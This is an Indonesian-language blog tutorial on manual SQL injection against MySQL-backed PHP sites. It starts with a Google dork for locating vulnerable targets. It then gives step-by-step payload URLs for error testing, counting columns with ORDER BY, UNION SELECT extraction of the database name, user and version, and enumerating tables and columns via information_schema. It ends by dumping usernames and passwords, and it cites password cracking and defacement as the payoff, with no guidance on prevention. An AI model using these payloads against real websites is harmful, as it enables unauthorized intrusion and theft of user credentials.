Pengertian SQL INJECTION:
Sebelum kita mengetahui apa itu pengertian SQL Injection, kita
ketahui dulu apa arti dari SQL itu sendiri. Pengertian SQL itu sendiri
adalah sebuah bahasa yang dirancang khusus untuk dapat berkomunikasi
dengan database. SQL dibagi menjadi dua bagian yaituDDL (Data Definition Language) adalah perintah-perintah SQL yang berhubungan dengan modifikasi database seperti membuat database, membuat tabel, index, menghapus tabel, index dan sejenisnya.
DML (data Manipulation Language) adalah perintah-perintah SQL untuk memodifikasi isi database dan (khususnya) tabel seperti menambah data, mengedit, menghapus, mengelompokkan, merelasikan data dan sejenisnya.
Setelah kita mengetahui apa arti SQL itu sendiri, baru deh kita masuk ke pengertian SQL Injection.
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x
1. Cari Target + Bugnya
Cara mencarinya adalah dengan dork sql injection. Misalnya “inurl:index.php?id=” search dengan om GOOGLE, lalu misalkan kita mendapatkan alamat situshttp://www.target.com/index.php?id=4
Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan sebuah
tanda petik pada akhir url, sehingga urlnya menjadi
http://www.target.com/index.php?id=4’
dan apa yang terjadi pada situs tersebut??
Situsnya menampilkan pesan error, dan berarti parameter id tidak di filter dengan
baik atau bahkan tidak difilter sama sekali, untuk mengetahui suatu web
aplikasi memiliki bug SQL Injection salah satunya adalah menggunakan perintah
and+1=1–
Ketika di tambahkan parameter +and+1=1– pada akhir URL, situsnya tampil
dengan normal karna 1=1 menghasilkan nilai true.
http://www.target.com/ /index.php?id=4+and+1=1–
Dan ketika di tambahkan parameter +and+1=2– isi berita tidak ditampilkan karna
1=2 hasilnya false dan ini membuktikan bahwa web aplikasi tersebut 99.9%
memiliki bug SQL Injection
http://www.target.com/index.php?id=4+and+1%3D2–
2. Cari Column Yang Memiliki Celah Injection
Setelah saya tau bahwa web applikasi tersebut memiliki Bug SQL Injection saya
harus mencari tau nama table dan colom, tapi sebelum itu saya harus mencari tau
pada colomn ke berapa saya bisa melakukan Injection, untuk itu saya menggunakan
perintah order by perhatikan url berikut.
http://www.target.com/index.php?id=4+order+by+1–
http://www.target.com/index.php?id=4+order+by+2–
http://www.target.com/index.php?id=4+order+by+3–
http://www.target.com/index.php?id=4+order+by+4–
http://www.target.com/index.php?id=4+order+by+5–
url diatas jika di coba satu persatu akan menampilkan situsnya secara normal.
Tapi ketika saya menginputnya dengan
order+by+6–
apa yang terjadi??? Browser menampilkan pesan error.
Dari pesan error tersebut bisa dipastikan terdapat 5 buah colomn yang terdapat di
salah satu table yang belum kita ketahui namanya.
Berarti yang kita ambil sampai +order+by+5–
3. Gunakan perintah Union select
Setelah saya mengetahui terdapat 5 buah colomn pada target, selanjutnya yaitu
mencari colomn yang bisa dilakukan injeksi. Untuk itu saya menggunakan perintah
union select (pakai union all select juga bisa kok…) sehingga urlnya menjadi
http://www.target.com/index.php?id=4+union+select+1%2C2%2C3%2C4%2C5–
Dan apa yang tampak di browser tidak ada yang aneh bukan situsnya tampil dengan Normal.
Tetapi jika parameter id saya ganti menjadi -4 yang pastinya tidak ada isi data -4 di
Database. Oke seumpama browser menampilkan angka 2 & 3, dan angka inilah yang sering disebut dengan angka ajaib, karna angka tersebut adalah letak colomn dimana attacker bisa
melakukan injeksi lebih lanjut.
http://www.target.com/ /index.php?id=-4+union+select+1,2,3,4,5–
4. Cari informasi database target
Dengan tampilnya angka ajaib tersebut anda bisa ‘mengintip’ beberapa informasi
seperti nama database, nama user database, versi database, sessi user dll.
Untuk melihat nama database injeksi urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2Cdatabase%28%29%2C3%2C4%2C5–
Dan seumpama browser menampilkan nama database yaitu xyb_injector.
Saya mencoba mengintip lagi nama user database pada situs tersebut dengan
menginjeksinya pada colomn ke-2 dan versi pada colomn ke-3 dan url injeksinya
menjadi
http://www.target.com/index.php?id=-4+union+select+1%2Cuser%28%29%2Cversion%28%29%2C4%2C5–
Ternyata user dabasenya root@localhost dan beruntung sekali karna versi
mysql yang di gunakan adalah versi 5.0.51a-community, lho emang versi 5
kenapa om???mendingan versi 5 soalnya saya ngerti, dari pada versi 4 saya ga ngerti, hehe
Coba anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada satu
columns, bisakah meng-injeksi lebih dari satu perintah pada satu colums??? heheheh
tentu saja bisa dong, untuk itu anda bisa menggunakan perintah yang sudah
disediakan langsung oleh mysql yaitu perintah concat(perintah1,perintah2).
contoh dibawah ini saya meng-intip nama user dan nama database pada colomn ke-
2 dan pada kolom ke 3 saya mengintip versi databasenya.
http://www.target.com/index.php?id=-4+union+select+1%2Cconcat(user(),0x3a,database()),version(),4,5–
5. Dapatkan Nama Table
Saya sudah mendapatkan informasi database web aplikasi terserbut, sebenarnya
yang saya butuhkan hanyalah versi databasenya saja, seperti yang sudah anda lihat,
versi database yang ditampilkan adalah 5.0.51a-community dan tentu ini
memudahkan saya dalam mendapatkan table dengan menggunakan perintah
table_name pada coloms yang memiliki bug yaitu 2 atau 3, pada akhir statement
tambahkan
from+information_schema.tables+where+table_schema=database()+limit+0,1–
sehingga urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Ctable_name%2C4%2C5+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+0%2C1–
Seumpama tampil sebuah table bernama “table_attacker”.
Untuk melihat seluruh table sekaligus gunakan perintah group_concat(table_name)
pada colomn yang memiliki bug, sehingga urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28table_name%29%2C4%2C5+from+information_schema.tables+where+table_schema%3Ddatabase%28%29–
Hohoho seep, seluruh table berhasil saya dapatkan, diantara table tersebut, table
manakah yang harus saya telusuri lebih jauh lagi??? table_user sepertinya menarik
yuk kita lihat apa isinya.
6. Dapatkan Nama Colomns
table_user sudah saya dapatkan selanjutnya yaitu mencari nama colomns pada table
tersebut, untuk itu saya menggunakan perintah group_concat(column_name) sehingga urlnya
menjadi.
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28column_name%29%2C4%2C5+from+information_schema.columns+where+table_name%3D0xhexa–
pada tahap ini kamu wajib mengextrak kata yang keluar pada isi table tadi menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
http://www.string-functions.com/string-hex.aspx
contoh kata yg ingin di konversi yaitu table_user maka akan menjadi 7461626c655f75736572 ini masih belum selesai, anda harus menambahkan
angka 0 dan huruf x pada awal hasil hexa tersebut sehingga hasilnya menjadi
0x7461626c655f75736572 dan inilah yang akan kita injeksikan pada nama tabel.
sehingga urlnya menjadi
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28column_name%29%2C4%2C5+from+information_schema.columns+where+table_name%3D0x7461626c655f75736572–
Alhasil nama colom dari table_user sudah saya dapatkan yaitu user_id dan
password_id.
7. Dapatkan Usename & Password.
Saya sudah mendapatkan nama table “table_user” yang berisi 2 buah colomn yaitu
“user_id” dan “password_id” dan akhirnya anda sudah sampai di detik-detik
terakhir yaitu menampilkan isi data dari colomn tersebut. Tambahkan 0x3a pada group_concat(hasil isi column yg mau dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan)
perintah +from+(nama table berasal) -> dimasukkan setelah angka terakhir
sehingga urlnya menjadi :
http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28user_id%2C0x3a%2Cpassword_id%29%2C4%2C5+from+table_user–
Tampilah seluruh username dan password dari situs tersebut dan ini sangat
membahayakan jika attacker berhasil melakukan cracking pada password tersebut.
attacker bisa saja melakukan aksi defacing seperti yang akhir-akhir ini sedang marak
di beritakan.
sumber http://komputerpamungkas.wordpress.com/2011/04/03/tutorial-sql-injection/
No comments:
Post a Comment